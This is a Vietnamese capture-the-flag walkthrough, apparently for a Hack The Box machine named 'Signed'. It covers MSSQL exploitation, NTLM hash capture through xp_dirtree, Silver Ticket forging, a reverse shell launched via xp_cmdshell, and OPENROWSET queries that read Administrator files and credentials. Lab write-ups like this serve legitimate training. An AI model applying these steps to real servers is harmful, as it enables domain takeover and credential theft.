---
# System prepended metadata

title: Signed

---

# Signed 

# Recon 

Đầu tiên, mình thực recon qua **nmap** thu được kết quả như sau: 

```nmap 
# Nmap 7.95 scan initiated Thu Oct 23 11:32:29 2025 as: /usr/lib/nmap/nmap -sC -sV -Pn -T4 -p- --stats-every=5s -oN Signed 10.10.11.90
Nmap scan report for 10.10.11.90 (10.10.11.90)
Host is up (0.35s latency).
Not shown: 65534 filtered tcp ports (no-response)
PORT     STATE SERVICE  VERSION
1433/tcp open  ms-sql-s Microsoft SQL Server 2022 16.00.1000.00; RTM
| ms-sql-ntlm-info: 
|   10.10.11.90:1433: 
|     Target_Name: SIGNED
|     NetBIOS_Domain_Name: SIGNED
|     NetBIOS_Computer_Name: DC01
|     DNS_Domain_Name: SIGNED.HTB
|     DNS_Computer_Name: DC01.SIGNED.HTB
|     DNS_Tree_Name: SIGNED.HTB
|_    Product_Version: 10.0.17763
|_ssl-date: 2025-10-23T06:16:58+00:00; +1s from scanner time.
| ssl-cert: Subject: commonName=SSL_Self_Signed_Fallback
| Not valid before: 2025-10-23T03:54:16
|_Not valid after:  2055-10-23T03:54:16
| ms-sql-info: 
|   10.10.11.90:1433: 
|     Version: 
|       name: Microsoft SQL Server 2022 RTM
|       number: 16.00.1000.00
|       Product: Microsoft SQL Server 2022
|       Service pack level: RTM
|       Post-SP patches applied: false
|_    TCP port: 1433

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Thu Oct 23 13:16:58 2025 -- 1 IP address (1 host up) scanned in 6268.31 seconds
```

Từ đây mình thu được: 
* 1443/tcp - **MSSQL**

Như vậy mình ghi vào trong `/etc/hosts`

![image](https://hackmd.io/_uploads/BJ87_G7JZg.png)

Kèm theo 1 credential được cung cấp là: `scott:Sm230#C5NatH`

# Khai thác MSSQL 

Từ đây mình khai thác service này với credential được cung cấp. 

![image](https://hackmd.io/_uploads/SkJkYz7kbl.png)

Tiếp tục tìm hiểu các trong service này có gì.... 

![image](https://hackmd.io/_uploads/rkwXtzXyZl.png)

![image](https://hackmd.io/_uploads/By8EKzQyZe.png)

Từ đây mình thấy có user là `dbo` có **RoleName** là `db_owner`.

Như vậy nếu mà chiếm được account này thì hoàn có quyền **admin**

Nhưng đầu tiên trên user hiện tại có được dùng `xp_cmdshell` ko?

![image](https://hackmd.io/_uploads/HkYwpzQJWg.png)

Thì user hiện tại ko có quyền. 

Đến đây thì tại sao tui phải mún có được `xp_cmdshell`

- `xp_cmdshell` thực thi lệnh OS từ SQL. Nếu mà mình bật được `xp_cmdshell` với 1 user có quyền cao hơn, thì mình hoàn toàn có thể thực thi code hoàn toàn hợp lí. 

Và thường dùng `xp_dirtree` để capture **NTLM Hashes** để có thể chiếm được account Administrator. 

```SQL 
SELECT OBJECT_ID('master..xp_dirtree') AS objid; 
SELECT HAS_PERMS_BY_NAME('master..xp_dirtree','OBJECT','EXECUTE');
``` 

```SQL
SELECT HAS_PERMS_BY_NAME('master..xp_dirtree','OBJECT','EXECUTE') AS can_execute_xp_dirtree
```

![image](https://hackmd.io/_uploads/SJ4n1Q7JZe.png)

Và nếu nó trả về `1` từ có là user hiện tại có quyền dùng `xp_dirtree`

## Capture NTLM Hash qua Responder 

![image](https://hackmd.io/_uploads/rJfEemmyZx.png)

Từ trong **MSSQL** gửi về host attacker. 

![image](https://hackmd.io/_uploads/BJWOgQm1Wl.png)

Quay lại host attacker thì mình thu được như sau: 

![image](https://hackmd.io/_uploads/r1YtgQ7kWx.png)

Như vậy mình thu được hash rồi, mình cần đem hash này đem crack thử.

![image](https://hackmd.io/_uploads/B1LBXXXJZl.png)

Từ đây mình tìm được passowrd là `purPLE9795!@`

Tiếp theo mình hoàn toàn có thể login vào bằng account này. 

![image](https://hackmd.io/_uploads/rJwQVQQJbl.png)

Sau đó, mình thử kiểm tra xem account này có role gì ko. 

```SQL
SELECT r.name AS role, m.name AS member 
FROM sys.server_principals r 
JOIN sys.server_role_members rm ON r.principal_id = rm.role_principal_id 
JOIN sys.server_principals m ON rm.member_principal_id = m.principal_id 
WHERE r.name = 'sysadmin';
```

Đầu tiên, mình cần tìm hiểu trong `sys.server_principals` chứa cái gì? 

![image](https://hackmd.io/_uploads/HyJNp9PJbe.png)

Như vậy trong `sys.server_principals` thì nó chứa tất cả tất cả các tài khoản và vai trò trong server. 

Và trong `sys.server_role_members` chứa gì? 

![image](https://hackmd.io/_uploads/Skj-RqPyWl.png)

Như vậy thì khi đó thì sẽ lấy được **role** của **sysadmin** sẽ có các member nào. 

![image](https://hackmd.io/_uploads/rkIHWsDy-l.png)

Ở đây với `sysadmin` server role thì mình có các members như sau: 
- **sa**
- **SIGNED\IT**
- **NT SERVICE\SQLWriter**
- **NT SERVICE\MSSQLSERVER**
- **NT SERVICE\SQLVERAGENT**

Với các cấu hình này thì tất cả các tài khoản này thì đều có đặc đủ đặc quyền quản trị trên phiên bản SQL Server. 

## SILVER TICKET

Như vậy nhìn thấy rõ ràng thì đây có thể khai thác theo hướng **Silver Ticket**

**Silver Ticket** là một kiểu tấn công sau khi đã chiếm (post-exploit) --> attacker giả mạo ticket service Kerberos. 

### Bước 1 - Lấy domain SID và SIDs cho groups/users 

Mình sẽ lấy domain name hiện tại 

![image](https://hackmd.io/_uploads/B1DcEivkWg.png)

Tiếp theo mình sẽ lấy SID cho **IT** và **MSSQLSVC**. 

![image](https://hackmd.io/_uploads/SJzr8sDJZl.png)

**SID** là mã định dạnh cho groups/users.

Tóm tắt lại mình thu được: 
- Khi mình tìm kiếm **Domain** thì mình thu được Domain dưới dạng **NetBIOS domain name** 
- Khi mình tìm SID chuyển sang dạng hex thì thu được `0x010500`, thay vì ở định dạng mà con người đọc được `S-1-5-21...`

Và để convert từ SID dạng hex này sang format có thể đọc được `S-1-...`, mình cần bỏ prefix `0x` và cấu trúc của SID như sau: 
- **Revision - 1 byte - phiên bản của SID (thường là 1)**
- **Subauthority count - 1 byte - số lượng trường SubAuthority** 
- **Identifier authority - 6 byte - tổ chức cấp phát SID**
- **Little-endian 4-byte subauthorities - Các giá trị SubAuthority tạo nên phần cuối của SID**

Sắp xếp cấu trúc được form như sau: 
`S-<revision>-<identifier_authority>-<subauthority1>-...-<subauthorityN>` 

Như vậy mình có thể viết 1 script để phân tích như sau: 

```python 
import struct 

def parse_sid(hex_str):
    
    # Bỏ '0x' nếu có
    if hex_str.startswith('0x'):
        hex_str = hex_str[2:]
    
    # Chuyển chuỗi hex sang bytes 
    data = bytes.fromhex(hex_str)

    # Lấy revision và sub-authority count
    revision = data[0]
    subauth_count = data[1]
    
    # Đọc Identifier Authority (6 bytes big endian)
    id_auth = int.from_bytes(data[2:8], byteorder='big')
    
    # Đọc từng sub-authority (4 byte little endian)
    subs = [struct.unpack("<I", data[8+i*4:12+i*4])[0] for i in range(subauth_count)]
    
    # Tạo chuỗi SID đọc được 
    sid_str = f"S-{revision}-{id_auth}-" + "-".join(str(s) for s in subs)
    return sid_str 
    
hex_sid = "0x0105000000000005150000005b7bb0f398aa2245ad4a1ca451040000"
print(parse_sid(hex_sid))
``` 

Thu được kết quả một chuỗi có thể đọc được. 

![image](https://hackmd.io/_uploads/S1Z36Bu1bg.png)

Tiếp tục, mình parse của `SIGNED\mssqlsvc`

![image](https://hackmd.io/_uploads/Syc4ASOyZl.png)

Như vậy thì thu được: 
- **Doamin SID**: S-1-5-21-4088429403-1159899800-2753317549
- **IT Group RID**: 1105 
- **mssqlsvc RID**: 1103 

### Bước 2 - Tính toán NTLM hash (ntlmhash) 

Thì trong mô hình Kerberos nó sẽ dùng password của 1 user để băm ra tạo thành 1 khóa bí mật để thực hiện các bước xác thực trong Authentication Server. 

![image](https://hackmd.io/_uploads/BJx2kIukbe.png)

Cho nên mình cần tính toán như sau: 

![image](https://hackmd.io/_uploads/H1hQZ8dk-l.png)

Hoặc mình chạy trên terminal như sau: 

![image](https://hackmd.io/_uploads/r1O_Z8dJWg.png)

### Bước 3 - Ép buộc tạo ra 1 Silver Ticket để có thể tiếp cận service 

![image](https://hackmd.io/_uploads/BJ5EHUOkbl.png)

Sau đó mình theo ticket này vào để tiến hành khai thác. 

```bash
export KRB5CCNAME=mssqlsvc.ccache 
```

![image](https://hackmd.io/_uploads/BkL0SL_kZg.png)

Từ đây, mình có thể bật `enable_xp_cmdshell`

![image](https://hackmd.io/_uploads/S1bfU8Okbe.png)

### Upload reverse shell - tương tác qua Metasploit

Sau khi bật `xp_cmdshell`, thì mình hoàn toàn có thể tương tác với command system. 

Rồi mình tiếp tục tìm kiếm trên folder của user `mssqlsvc` có gì 

![image](https://hackmd.io/_uploads/By4sOL_ybx.png)

![image](https://hackmd.io/_uploads/rkFlYUdkWg.png)

![image](https://hackmd.io/_uploads/SJQmt8dJWe.png)

Sau khi tìm kiếm thì mình sẽ upload 1 reverver shell như sau: 

![image](https://hackmd.io/_uploads/ByM-9U_kWx.png)

Sau khi upload thành công 

![image](https://hackmd.io/_uploads/B1yE9Udybg.png)

Tiếp theo mình khởi động metatsploit và setup để có thể có kết nối. 

![image](https://hackmd.io/_uploads/SkT1oLu1Zx.png)

Đồng thời trên target cho khởi chạy file payload đã upload bằng 

```
xp_cmdshell "%TEMP%/rev.exe"
```

![image](https://hackmd.io/_uploads/rJVro8uJ-x.png)

Như vậy hoàn thành kết nối. 

![image](https://hackmd.io/_uploads/Sy-OsLukZx.png)

### Upload reverse shell - tương tác qua Netcat 

Đầu tiên thì mình cấn có file **nc.exe** trên máy tấn công. 

Sau đó, cũng thực hiện upload lên. 

![image](https://hackmd.io/_uploads/BJU2TL_J-e.png)

Hoặc dùng 

![image](https://hackmd.io/_uploads/rJ-QlDd1-e.png)

Từ đây mình mở kết nối trên target. 

![image](https://hackmd.io/_uploads/HkyF8PO1bx.png)

Trên máy attack thì mở kết nối để nhận 

![image](https://hackmd.io/_uploads/SJIH3v_1-g.png)

## Leo thang đặc quyền để lấy Full Control  

Sau khi có được kết nối thì mình hoàn toàn có thể upload 1 file phổ biến để xác định thêm thông tin là **winPEASx64.exe**

![image](https://hackmd.io/_uploads/Sy4NNvd1Zg.png)

Và để leo thang đặc quyền mình có thể biết đến là **Golden Ticket**

Nhưng có hai key group trong Active Directory: 
- **Domain Admins - RID** `512`
- **Enterprise Admins - RID** `519`

Đây là những group được coi là có quyền `admin`, như vậy nếu mình có ticket này thì hoàn toàn có thể truy cập thông tin nhạy cảm. 

Hiện tại thì mình chưa có quyền admin.

![image](https://hackmd.io/_uploads/BkGDCDdkWe.png)

Mình cũng thực hiện lấy SID như ở trên. 

![image](https://hackmd.io/_uploads/HycS1OdyWg.png)

Nhưng mình cũng phải chuyển sang dạng đọc được. Và mình đã có revershell cho nên mình đọc bằng PowerShell 

![image](https://hackmd.io/_uploads/HyjZgddJbx.png)

Mình lặp lại các bước tạo ticket như sau: 

![image](https://hackmd.io/_uploads/BJU2xu_kWe.png)

Mình tiếp tục `export KRB5CCNAME=mssqlsvc.ccache`

Sau đó, login lại bằng cái vé mới đó. 

![image](https://hackmd.io/_uploads/BJXmzO_Jbx.png)

Mình cần enable advanced configure options trong SQL Server. 

![image](https://hackmd.io/_uploads/ryEyIuuJbe.png)

Tiếp theo mình cần bật `Ad Hoc Distributed Queries` cho phép các truy vấn `ad hoc` đến các nguồn dữ liệu bên ngoài. 

![image](https://hackmd.io/_uploads/rJq8q_d1bx.png)

Dựa vào đây thì mình hoàn toàn có thể lấy nội dung qua lệnh PowerShell. 

```SQL
SELECT * FROM OPENROWSET(BULK 'C:\Users\Administrator\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt',SINGLE_CLOB) AS x;
``` 

![image](https://hackmd.io/_uploads/SJ1e-YOJZl.png)

```SQL
SELECT * FROM OPENROWSET(BULK 'C:\Users\Administrator\Desktop\root.txt',SINGLE_CLOB) AS x;
```

![image](https://hackmd.io/_uploads/HksEbt_yZl.png)

![image](https://hackmd.io/_uploads/BkcubFuyWl.png)

### Thông tin tìm được 

Ở đây, mình đã tìm ra 1 credentials admin
- **Administrator:Th1s889Rabb!t**

Như vậy mình đã chạy lệnh Admin trên tài khoản `mssqlsvc`, nhưng như vậy có thể bị lộ nếu mình ko chạy trên chính tài khoản Admin. 

Do đó, mình upload 1 tool tên là `RunasCs.exe` để có thể tiến hành chạy bằng credential mình mới lấy được. 

![image](https://hackmd.io/_uploads/H1ArLYuJWg.png)

Sau khi upload thì dựa vào reverse shell lúc đầu mình thực hiện chạy. 

![image](https://hackmd.io/_uploads/BkbPwK_Jbe.png)

Quay lại chỗ netcat lắng nghe port 9999. 

![image](https://hackmd.io/_uploads/BkgKwtukWx.png)

![image](https://hackmd.io/_uploads/HJkydK_1bx.png)
